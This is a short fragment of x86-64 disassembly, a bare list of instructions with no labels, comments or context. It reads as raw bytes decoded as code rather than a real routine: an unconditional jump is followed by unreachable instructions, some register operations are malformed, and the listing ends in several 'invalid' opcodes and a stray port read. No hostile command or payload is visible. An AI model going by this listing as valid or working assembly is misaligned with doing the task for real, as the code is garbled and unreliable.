sub ah, 2
mov dword [rbp + 0x48], 0x6b2abc8a
mov rax, rbx
cmp dl, r13b
lea rbx, [rbx + r12]
test rbx, r13
jmp 0x7ffef2409b4f
call rax
xor eax, eax
stc
add rsp, 0x40
xchg r14b, dil
movzx r14, dx
movzx edi, bp
pop r15
pop r14
mov rbx, r14
bswap bx
pop r12
movzx ebp, sp
cmovae edi, ecx
pop rdi
pop rsi
pop rbx
movsxd rbp, r8d
movzx bp, spl
pop rbp
invalid
invalid
in al, dx
invalid